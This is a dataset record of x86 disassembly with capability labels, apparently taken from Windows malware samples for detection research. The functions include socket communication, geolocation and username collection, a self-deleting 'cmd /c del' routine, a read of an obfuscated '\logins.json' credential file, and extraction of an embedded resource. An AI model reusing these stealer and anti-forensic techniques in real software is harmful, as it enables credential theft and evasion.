joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418624
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x428de0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00414ed7
mov dword [ebp - 0x14], eax
cmp dword [0x47c3c0], esi
jne 0x418717
push 0x800
push esi
push 0x421ec4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4186a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4187f7
push esi
push esi
push 0x421ec4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4187f7
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4187f7
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x47c3c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x47c3c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x47c3c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47c3d0], eax
test eax, eax
je 0x418714
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47c3cc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41873c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41872f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x418751
push 4
pop eax
jmp 0x4187f9
cmp dword [ebp - 0x14], esi
je 0x418751
push dword [0x47c3c0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x418736
mov eax, dword [0x47c3cc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4187af
cmp dword [0x47c3d0], edi
je 0x4187af
push eax
call ebx
push dword [0x47c3d0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4187af
test eax, eax
je 0x4187af
call ecx
test eax, eax
je 0x4187a4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4187a4
test byte [ebp - 8], 1
jne 0x4187af
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4187df
mov eax, dword [0x47c3c4]
cmp eax, edi
je 0x4187dc
push eax
call ebx
test eax, eax
je 0x4187dc
call eax
mov esi, eax
test esi, esi
je 0x4187dc
mov eax, dword [0x47c3c8]
cmp eax, edi
je 0x4187dc
push eax
call ebx
test eax, eax
je 0x4187dc
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x47c3c0]
call ebx
test eax, eax
je 0x4187f7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4187f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004116e1
mov esp, ebp
pop ebp
ret
Function at 0x402bb0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
push edi
mov edi, dword [ebp + 0xc]
test esi, esi
je 0x402bdb
mov edx, dword [ebp + 8]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x402bc4
pop edi
mov eax, edx
pop esi
pop ebp
ret
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebp
ret
Function at 0x4126f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x6d6ec0]
xor eax, esp
mov dword [esp + 8], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
mov edi, ecx
call fcn.00412670
add esp, 0x10
test eax, eax
jne 0x412731
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
jns 0x412751
call fcn.00637999
cmp dword [eax], 9
jne 0x412751
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.WS2_32.dll_recv]
lea eax, [esp + 0x13]
nop dword [eax + eax]
push 2
push 1
push eax
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x41277e
call fcn.00637999
cmp dword [eax], 4
lea eax, [esp + 0x13]
je 0x412760
test esi, esi
mov ecx, dword [esp + 0x14]
setg al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
Function at 0x412b10
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 0x40c], eax
push edi
mov edi, edx
movzx eax, word [esi]
cmp eax, 2
je 0x412b43
cmp eax, 0x17
jne 0x412bc2
movzx eax, word [esi + 2]
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
movzx eax, ax
push 0x401
mov dword [ebx], eax
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00621d30
add esp, 0xc
lea eax, [ebp - 0x408]
push 2
push 0
push 0
push 0x401
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x412bc2
lea edx, [ebp - 0x408]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x412b93
mov ecx, dword [ebp - 0x40c]
lea eax, [ebp - 0x408]
sub edx, esi
push edx
push eax
call fcn.004475e0
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0061f478
mov esp, ebp
pop ebp
ret
Function at 0x4142d0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x6d6ec0]
xor eax, esp
mov dword [esp + 0x118], eax
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x18]
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x1c]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_select]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + 4]
push esi
mov esi, dword [ecx + 0x20]
push edi
mov dword [esp + 0xc], ecx
lea edi, [eax + 1]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x20]
push eax
push 0
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x414348
call fcn.00637999
cmp dword [eax], 4
je 0x414325
test esi, esi
jle 0x414371
mov ecx, dword [esp + 0xc]
mov ecx, dword [ecx + 4]
call fcn.004126f0
test al, al
je 0x414371
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x124]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
Function at 0x414390
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov edx, dword [ebp + 8]
mov eax, SysReAllocString
push ebx
mov ebx, dword [ebp + 0xc]
cmp ebx, eax
push esi
mov esi, ecx
mov dword [esp + 0xc], edx
cmova ebx, eax
mov dword [esp + 0x18], esi
push edi
mov dword [ebp + 0xc], ebx
mov eax, dword [esi + 0x34]
mov edi, dword [esi + 0x38]
cmp eax, edi
jae 0x414402
mov ecx, dword [esi + 0x28]
sub edi, eax
cmp ebx, edi
ja 0x4143e7
push ebx
add eax, ecx
push eax
push edx
call fcn.006217b0
add esp, 0xc
mov eax, ebx
add dword [esi + 0x34], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
add ecx, eax
push ecx
push edx
call fcn.006217b0
add esp, 0xc
add dword [esi + 0x34], edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push dword [esi + 0x14]
mov ecx, dword [esi + 4]
push dword [esi + 0x10]
push dword [esi + 0xc]
push dword [esi + 8]
call fcn.00412670
add esp, 0x10
test eax, eax
jg 0x414429
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [esi + 4]
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
cmp ebx, 0x1000
jae 0x4144c0
mov eax, dword [esi + 0x28]
mov ebx, edi
mov esi, eax
nop dword [eax]
push 0
push 0x1000
push esi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jns 0x414471
call fcn.00637999
cmp dword [eax], 4
je 0x414450
test edi, edi
mov esi, dword [esp + 0x1c]
mov ebx, dword [ebp + 0xc]
jle 0x4143f7
mov eax, dword [esi + 0x28]
cmp edi, ebx
jg 0x41449e
push edi
push eax
push dword [esp + 0x18]
call fcn.006217b0
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebx
push eax
push dword [esp + 0x18]
call fcn.006217b0
add esp, 0xc
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], edi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
push ebx
push dword [esp + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jns 0x4144de
call fcn.00637999
cmp dword [eax], 4
je 0x4144c0
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4144f0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x6d6ec0]
xor eax, esp
mov dword [esp + 0x118], eax
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x18]
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x1c]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_select]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + 4]
push esi
mov esi, dword [ecx + 0x20]
push edi
mov dword [esp + 0xc], ecx
lea edi, [eax + 1]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x20]
push eax
push 0
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x414568
call fcn.00637999
cmp dword [eax], 4
je 0x414545
test esi, esi
jle 0x4145c9
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 4]
call fcn.004126f0
test al, al
je 0x4145c9
mov edi, dword [ebp + 0xc]
mov eax, SysReAllocString
mov ebx, dword [ebp + 8]
cmp edi, eax
cmova edi, eax
mov eax, dword [esi + 4]
mov dword [esp + 0xc], eax
push 0
push edi
push ebx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jns 0x4145b0
call fcn.00637999
cmp dword [eax], 4
mov eax, dword [esp + 0xc]
je 0x414591
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x124]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret 8

Function at 0x414660
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x6d6ec0]
xor eax, esp
mov dword [esp + 0x8c], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [esp + 8]
push edi
mov edi, dword [ebp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 0x80
push eax
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x4146b3
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push edi
push esi
call fcn.00412b10
add esp, 8
mov ecx, dword [esp + 0x94]
pop edi
pop esi
xor ecx, esp
call fcn.0061f478
mov esp, ebp
pop ebp
ret 8
Function at 0x414bf0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x657d78
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x6d6ec0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x18], 0xffffffff
movups xmmword [edi + 0x1c], xmm0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0xf
mov byte [edi + 0x1c], 0
lea esi, [edi + 0x34]
mov byte [ebp - 4], 1
push 0x40
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0061f577
xorps xmm0, xmm0
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov eax, edi
movups xmmword [edi + 0x3c], xmm0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0xf
mov byte [edi + 0x3c], 0
movups xmmword [edi + 0x54], xmm0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0xf
mov byte [edi + 0x54], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x94], 0
mov dword [edi + 0xbc], 0
mov word [edi + 0xc0], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x423af0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6590c5
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x6d6ec0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
mov esi, dword [ebp + 8]
push 0x6a7690
push ebx
call fcn.00459060
mov ecx, dword [edi + 0x10]
add esp, 8
cmp dword [edi + 0x14], 0xf
mov dword [ebp - 0x14], eax
jbe 0x423b3f
add ecx, dword [edi]
mov edi, dword [edi]
jmp 0x423b41
add ecx, edi
push ecx
push ecx
push edi
lea ecx, [ebp - 0x2c]
call fcn.00459b80
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 7
mov ecx, dword [eax + 0x10]
jbe 0x423b5e
mov eax, dword [eax]
push ecx
push eax
push dword [ebp - 0x14]
call fcn.0046f650
add esp, 0xc
push 0x6a768c
push eax
call fcn.00459060
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x423bba
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x423bb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423c59
push ecx
push edx
call fcn.0061f90d
add esp, 8
push str.Country_Code:
push ebx
call fcn.00459060
mov ecx, dword [esi + 0x10]
add esp, 8
cmp dword [esi + 0x14], 0xf
mov edi, eax
jbe 0x423bd9
add ecx, dword [esi]
mov esi, dword [esi]
jmp 0x423bdb
add ecx, esi
push ecx
push ecx
push esi
lea ecx, [ebp - 0x44]
call fcn.00459b80
mov dword [ebp - 4], 1
cmp dword [eax + 0x14], 7
mov ecx, dword [eax + 0x10]
jbe 0x423bf8
mov eax, dword [eax]
push ecx
push eax
push edi
call fcn.0046f650
add esp, 0xc
push 0x6a768c
push eax
call fcn.00459060
mov ecx, dword [ebp - 0x30]
add esp, 8
cmp ecx, 7
jbe 0x423c47
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x423c3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423c5e
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00636c1b
call fcn.00636c1b
int3
Function at 0x42db50
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x42dc1d
push 0x104
lea eax, [ebp - 0x20c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x42dc1d
push str._c_del
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.____NUL
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x42dc1d
push 0
push 0
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
setg al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
ret

Function at 0x42e350
Capabilities:
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65ad90
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x264
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x26c], esi
push 0x100
lea eax, [ebp - 0x218]
mov dword [ebp - 0x26c], esi
push eax
push str.USERNAME
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x42e3d5
xorps xmm0, xmm0
mov ecx, esi
push 6
movups xmmword [esi], xmm0
push str.UKNOWN
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
call fcn.004113d0
jmp 0x42e438
push 0x50
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.00621d30
add esp, 0xc
lea ecx, [ebp - 0x268]
call fcn.0043f860
mov dword [ebp - 4], 0
lea eax, [ebp - 0x218]
cmp word [ebp - 0x218], 0
je 0x42e419
nop word [eax + eax]
add eax, 2
cmp word [eax], 0
jne 0x42e410
push eax
lea eax, [ebp - 0x218]
push eax
push esi
lea ecx, [ebp - 0x268]
call fcn.0044ae90
lea ecx, [ebp - 0x268]
call fcn.0043f7a0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x42f8b0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65aff0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x54
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
push 0x2d
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
push str.92_108_111_103_105_110_115_46_106_115_111_110
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
call fcn.004113d0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.00424de0
mov byte [ebp - 4], 2
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0xf
push dword [ebx + 0x18]
cmova ecx, dword [ebx + 8]
push ecx
push 0
mov ecx, eax
call fcn.004670d0
lea ecx, [ebx + 8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x60], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x50], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x60]
push eax
call fcn.00447920
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0xf
jbe 0x42f9a5
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42f99b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42fabf
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0xf
jbe 0x42f9d9
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42f9cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42fabf
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp ecx, 0xf
jbe 0x42fa1f
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42fa15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42fabf
push ecx
push edx
call fcn.0061f90d
add esp, 8
push 0x186a0
call fcn.00638cc7
add esp, 4
mov esi, eax
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
cmova eax, dword [ebx + 8]
push 0
push 0x80
push 4
push 0
push 7
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x42fa6e
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0x186a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x42fa70
xor esi, esi
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0xf
jbe 0x42faa0
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42fa96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42fac4
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00636c1b
call fcn.00636c1b
int3
Function at 0x438f80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65be40
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
push str.PROGRAM
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x4390f3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4390f3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0xb0
mov esi, eax
lea eax, [ebp - 0xc0]
push 0
push eax
call fcn.00621d30
add esp, 4
lea ecx, [ebp - 0xc0]
push 0x20
push ebx
call fcn.0043f370
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0xb4], 6
je 0x439033
xor bl, bl
jmp 0x439082
push 0
push esi
push edi
lea ecx, [ebp - 0xc0]
call fcn.004463c0
lea ecx, [ebp - 0xbc]
call fcn.0044bb30
test eax, eax
jne 0x43907a
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405010
mov ecx, dword [ebp - 0xc0]
mov bl, 1
mov eax, dword [ecx + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00441e90
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov edx, dword [eax + 4]
lea ecx, [edx - 8]
mov dword [ebp + edx - 0xc4], ecx
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.0060dece
add esp, 4
mov al, bl
jmp 0x4390f5
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
ret